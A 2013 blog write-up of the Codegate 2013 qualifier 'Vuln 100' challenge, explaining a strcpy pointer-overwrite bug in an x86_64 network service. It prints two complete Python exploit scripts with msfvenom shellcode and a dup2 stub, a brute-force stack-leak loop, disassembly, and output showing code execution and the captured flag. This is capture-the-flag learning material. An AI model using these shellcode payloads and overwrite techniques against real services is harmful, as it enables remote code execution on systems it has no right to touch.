Sunday, March 3, 2013

Codegate 2013 Quals - Vuln 100 [ Failed Attempt ] & Updated Solution

As the title says this is not a working solution for vuln 100 but just a description of my approach to exploit the given x86_64 binary. The service running on port 6666 asks 3 questions, once we successfully answer the quiz it asks for our nickname. Supplying a nickname of 272 bytes will completely overwrite the destination pointer of strcpy() call. After this when strcpy() is called, it tries copying the data passed to it to the overwritten destination pointer. With this we can write anything anywhere in memory. Since strcpy() is used, we cannot have NUL byte in our string.

The idea of exploit was to pass 270 bytes of data, overwrite destination pointer of strcpy() with a stack address thats 264 bytes away from the address where rip is saved. Thus when strcpy is called to copy the same data, it will overwrite the saved rip with the address of strcpy()'s destination pointer. But the issue here is we should know the address in stack where rip is saved for the funtion at 0x400c69.

Though I managed to write an exploit under gdb session where I know the address at which rip is saved, bruteforce of stack address didn't help in the case of remote machine. Below is the POC exploit:
#!/usr/bin/env python

import struct
import socket
import time

host = "192.168.56.110"
#host = "58.229.122.18"
port = 6666

# msfvenom -p linux/x64/exec CMD=/usr/bin/id -a x86_64 -b '\x0a\x00' # 95 bytes
shellcode = ("\x48\x31\xc9\x48\x81\xe9\xf9\xff\xff\xff\x48\x8d\x05\xef" +
             "\xff\xff\xff\x48\xbb\xa1\x4a\x74\xe7\x7a\x9b\x43\xfc\x48" +
             "\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xcb\x71\x2c" +
             "\x7e\x32\x20\x6c\x9e\xc8\x24\x5b\x94\x12\x9b\x10\xb4\x28" +
             "\xad\x1c\xca\x19\x9b\x43\xb4\x28\xac\x26\x0f\x76\x9b\x43" +
             "\xfc\x8e\x3f\x07\x95\x55\xf9\x2a\x92\x8e\x23\x10\xe7\x2c" +
             "\xcc\x0b\x75\x47\x45\x71\xe7\x7a\x9b\x43\xfc")

""" 
xor rax,rax
mov al, 0x21                ; move the syscall for dup2 into rax
xor rdi,rdi
mov dil, 0x8                ; move the FD for the socket into rdi
xor rsi, rsi      
inc rsi                     ; stdout
syscall                     ; call dup2(rdi, rsi)
"""
dup2 = "\x48\x31\xc0\xb0\x21\x48\x31\xff\x40\xb7\x08\x48\x31\xf6\x48\xff\xc6\x0f\x05" # 19 bytes

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((host,port))
print soc.recv(1024)

soc.send("arsenal\x0a")
print soc.recv(1024)
time.sleep(0.5)
soc.send("gyeongbokgung\x0a")
print soc.recv(1024)
time.sleep(0.5)
soc.send("psy\x0a")
print soc.recv(1024)
time.sleep(0.5)

soc.send("\x90" * 100 + dup2 + shellcode + "\x90" * 50 + struct.pack("<Q",0x7fffffffdd28 - 264)) # 272 bytes overwrites pointer
print soc.recv(256)
print soc.recv(256)
[ctf@renorobert CodeGate]# python try.py
Welcome to CODEGATE2013.
This is quiz game.
Solve the quiz.



It is Foot Ball Club. This Club is an English Primier league football club. This Club founded 1886. This club Manager Arsene Wenger. This club Stadium is Emirates Stadium. What is this club? (only small letter)

good!1
It is a royal palace locate in northern Seoul, South Korea. First constructed in 1395, laster burned and abandoned for almost three centuries, and then reconstructed in 1867, it was the main and largest place of the Five Grand Palaces built by the joseon Dynasty. What is it?(only small letter)

good!2
He is South Korean singer, songwriter, rapper, dancer and record producer. He is known domestically for his humorous videos and stage performances, and internationally for his hit single Gangnam Style. Who is he?(only small letter)

good!3
rank write! your nickname:

uid=1000(renorobert) gid=1000(renorobert) groups=1000(renorobert),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),109(lpadmin),124(sambashare)
This was tested against ubuntu 12.04 x86_64 machine. May be I should have used different approach or tried information leak.
UPDATED SOLUTION:
Finally managed to solve the challenge, though the exploitation technique is not much reliable. This was the idea
[*] Perform a one byte overflow on the destination pointer of strcpy() using bruteforce
[*] If the destination pointer and the address where rip is saved differs only by last byte, strcpy() can end up copying bytes like our previous exploitation technique and jump into shellcode.

Above idea didn't work out but resulted in leaking some stack data
for i in range(1,256):
    soc.send("\x90" * 100 + dup2 + shellcode + "\x90" * 50 + struct.pack("B",i) + "\x00")
strcpy()  
0x400cd5: mov    rdx,QWORD PTR [rbp-0x118]
0x400cdc: mov    rax,QWORD PTR [rbp-0x8]
0x400ce0: mov    rsi,rdx
0x400ce3: mov    rdi,rax
0x400ce6: call   0x400a30 <strcpy@plt>
0x400ceb: mov    rax,QWORD PTR [rbp-0x8]      ; destination pointer moved into rax after call to strcpy()
0x400cef: mov    QWORD PTR [rip+0x2013e2],rax # 0x6020d8
0x400cf6: leave  
0x400cf7: ret

send()
0x401252: mov    rsi,QWORD PTR [rip+0x200e7f] # 0x6020d8 ; buffer address for send()
0x401259: mov    eax,DWORD PTR [rbp-0x8]
0x40125c: mov    ecx,0x0
0x401261: mov    edi,eax
0x401263: call   0x400a20 <send@plt>
Information leak occurs because as we bruteforce the destination pointer with memcpy() overflow, strcpy() will itself overwrite the destination pointer before it being saved to 0x6020d8. Since strcpy adds a NUL termination, this lowers the address of destination pointer before handing it over to send(). Thus send() prints additional data from stack. Here is what I got for i == 0x8f
'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xa0\xe1\xff\xff\xff\x7f\x00\x00\x90\n@\x00\x00\x00\x00\x00\xc0\xe6\xff\xff\xff\x7f\x00\x005\xf2\xde\xf7\xff\x7f\x00\x00\x8f\xe0\xff\xff\xff\x7f\x00\x00\x00\x80\x00\x00\x00\x00\x00\x00\xc8\xe6\xff\xff\xff\x7f\x00\x00\xc8\xe6\xff\xff\xff\x7f\x00\x00\x8f\xe0\xff\xff\xff\x7f\x00\x00\x90\xe0\xff\xff\xff\x7f\x00\x000\xbcy\xf7\xff\x7f\x00\x00\xc8\xe2\xff\xf7\xff\x7f\x00\x00\x11\x00\x00\x00\x00\x00\x00\x00\xeb\x0c@\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\xc8\xe6\xff\xff\xff\x7f\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90H1\xc0\xb0!H1\xff@\xb7\x08H1'
We can spot some addresses here: 0x7fffffffe090, 0x7fffffffe1a0, 0x7fffffffe6c0, 0x7fffffffe08f, 0x7fffffffe6c8, 0x7fffffffe2c8. We already have the hint that ASLR is disabled. So we can look at address range starting at 0x7fffffffe000. Performing a bruteforce resulted in code execution at address 0x7fffffffe0a0. This is the final solution:
#!/usr/bin/env python
# sol.py

import struct
import socket
import time

host = "58.229.122.18"
port = 6666

# msfvenom -p linux/x64/exec CMD='/bin/cat key' -a x86_64 -b '\x0a\x00' # 95 bytes

shellcode = ("\x48\x31\xc9\x48\x81\xe9\xf9\xff\xff\xff\x48\x8d\x05\xef" +
             "\xff\xff\xff\x48\xbb\xb2\xd7\x14\x82\xd9\x2b\xb4\x70\x48" +
             "\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xd8\xec\x4c" +
             "\x1b\x91\x90\x9b\x12\xdb\xb9\x3b\xf1\xb1\x2b\xe7\x38\x3b" +
             "\x30\x7c\xaf\xba\x2b\xb4\x38\x3b\x31\x46\x6a\xd4\x2b\xb4" +
             "\x70\x9d\xb5\x7d\xec\xf6\x48\xd5\x04\x92\xbc\x71\xfb\xd9" +
             "\x7d\xe3\x38\x3b\x31\x1b\x87\xd9\x2b\xb4\x70")
""" 
xor rax,rax
mov al, 0x21                ; move the syscall for dup2 into rax
xor rdi,rdi
mov dil, 0x4                ; move the FD for the socket into rdi
xor rsi, rsi      
inc rsi                     ; stdout
syscall                     ; call dup2(rdi, rsi)
"""
dup2 = "\x48\x31\xc0\xb0\x21\x48\x31\xff\x40\xb7\x04\x48\x31\xf6\x48\xff\xc6\x0f\x05" # 19 bytes

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((host,port))
soc.recv(1024)

soc.send("arsenal\x0a")
soc.recv(1024)
time.sleep(0.5)
soc.send("gyeongbokgung\x0a")
soc.recv(1024)
time.sleep(0.5)
soc.send("psy\x0a")
soc.recv(1024)
time.sleep(0.5)
soc.send("\x90" * 100 + dup2 + shellcode + "\x90" * 50 + struct.pack("<Q",0x7fffffffe0a0)) # 272 bytes overwrites pointer
soc.recv(1024)
soc.recv(1024)
print soc.recv(256)
[ctf@renorobert CodeGate]# python sol.py
Key is "Very_G00d_St6rt!!_^^"
So the flag for the challenge is Very_G00d_St6rt!!_^^ but the CTF is over :P More reliable exploit would be nice.

2 comments :